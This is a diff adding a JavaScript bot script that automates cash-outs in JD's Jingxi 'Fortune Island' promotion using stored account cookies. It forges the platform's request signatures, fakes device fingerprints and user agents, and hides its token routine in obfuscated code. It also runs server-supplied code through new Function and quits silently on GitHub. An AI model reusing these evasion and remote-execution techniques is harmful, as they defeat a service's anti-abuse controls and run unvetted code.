= [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛提现"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token, nowTimes, UA; +let allMessage = '', message = '' + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.appId = 10028; +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + message = '' + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.num = i + $.info = {} + $.money = 0 + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString()};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + token = await getJxToken() + await cfd(); + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + if ((nowTimes.getHours() === 11 || nowTimes.getHours() === 23) && nowTimes.getMinutes() === 59) { + let nowtime = new Date().Format("s.S") + let starttime = $.isNode() ? (process.env.CFD_STARTTIME ? process.env.CFD_STARTTIME * 1 : 59.5) : ($.getdata('CFD_STARTTIME') ? $.getdata('CFD_STARTTIME') * 1 : 59.5); + if(nowtime < 59) { + let sleeptime = (starttime - nowtime) * 1000; + console.log(`等待时间 ${sleeptime / 1000}\n`); + await sleep(sleeptime) + } + } + + if ($.num % 2 !== 0) { + console.log(`等待`) + await $.wait(2000) + } + + const beginInfo = await getUserInfo() + if (beginInfo.Fund.ddwFundTargTm === 0) { + console.log(`还未开通活动,请先开通\n`) + return + } + + console.log(`获取提现资格`) + await cashOutQuali() + + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +// 提现 +async function cashOutQuali() { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/CashOutQuali`, `strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CashOutQuali API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data.iRet === 0 || data.iRet === 2034) { + console.log(data.iRet === 0 ? `获取提现资格成功\n` : `获取提现资格失败:${data.sErrMsg}\n`) + console.log(`提现\n提现金额:按库存轮询提现,0点场提1元以上,12点场提0.5元以上,12点后不做限制\n`) + await userCashOutState() + } else { + console.log(`获取提现资格失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function userCashOutState(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/UserCashOutState`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} UserCashOutState API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (type) { + if (data.dwTodayIsCashOut !== 1) { + if (data.ddwUsrTodayGetRich >= data.ddwTodayTargetUnLockRich) { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + if (nowTimes.getHours() >= 0 && nowTimes.getHours() < 12) { + data.UsrCurrCashList = data.UsrCurrCashList.filter((x) => x.ddwMoney / 100 >= 1) + } else if (nowTimes.getHours() === 12 && nowTimes.getMinutes() <= 5) { + data.UsrCurrCashList = data.UsrCurrCashList.filter((x) => x.ddwMoney / 100 >= 0.5) + } + for (let key of Object.keys(data.UsrCurrCashList).reverse()) { + let vo = data.UsrCurrCashList[key] + if (vo.dwRemain > 0) { + let cashOutRes = await cashOut(vo.ddwMoney, vo.ddwPaperMoney) + if (cashOutRes.iRet === 0) { + $.money = vo.ddwMoney / 100 + console.log(`提现成功:获得${$.money}元`) + break + } else { + console.log(`提现失败:${cashOutRes.sErrMsg}`) + await userCashOutState() + } + } else { + console.log(`提现失败:${vo.ddwMoney / 100}元库存不足`) + } + } + } else { + console.log(`不满足提现条件开始升级建筑`) + //升级建筑 + for(let key of Object.keys($.info.buildInfo.buildList)) { + let vo = $.info.buildInfo.buildList[key] + let body = `strBuildIndex=${vo.strBuildIndex}` + let getBuildInfoRes = await getBuildInfo(body) + let buildNmae; + switch(vo.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break + } + console.log(`升级建筑`) + console.log(`【${buildNmae}】当前等级:${vo.dwLvl}`) + console.log(`【${buildNmae}】升级需要${getBuildInfoRes.ddwNextLvlCostCoin}金币,当前拥有${$.info.ddwCoinBalance}金币`) + if(getBuildInfoRes.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= getBuildInfoRes.ddwNextLvlCostCoin) { + console.log(`【${buildNmae}】满足升级条件,开始升级`) + const body = `ddwCostCoin=${getBuildInfoRes.ddwNextLvlCostCoin}&strBuildIndex=${getBuildInfoRes.strBuildIndex}` + var buildLvlUpRes = await buildLvlUp(body) + if (buildLvlUpRes.iRet === 0) { + console.log(`【${buildNmae}】升级成功:获得${getBuildInfoRes.ddwLvlRich}财富\n`) + break + } else { + console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) + } + } else { + console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) + } + } + if (buildLvlUpRes.iRet === 0) { + await userCashOutState() + } else { + console.log(`今日还未赚够${data.ddwTodayTargetUnLockRich}财富,无法提现`) + } + } + } else { + console.log(`提现失败:今天已经提现过了~`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function cashOut(ddwMoney, ddwPaperMoney) { + return new Promise((resolve) => { + $.get(taskUrl(`user/CashOut`, `ddwMoney=${ddwMoney}&ddwPaperMoney=${ddwPaperMoney}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CashOut API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 升级建筑 +function getBuildInfo(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/GetBuildInfo`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function buildLvlUp(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 获取用户信息 +function getUserInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { + buildInfo = {}, + ddwCoinBalance, + Fund = {} + } = data; + $.info = { + ...$.info, + buildInfo, + ddwCoinBalance, + Fund + }; + resolve({ + buildInfo, + ddwCoinBalance, + Fund + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +function taskUrl(function_path, body = '') { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent": UA, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; +} +function randomString() { + return Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) +} + +function showMsg() { + return new Promise(resolve => { + if ($.money > 0) { + message += `提现成功:获得${$.money}元` + } else { + message += `提现失败:获得空气` + } + if($.money > 0) { + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; + } + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 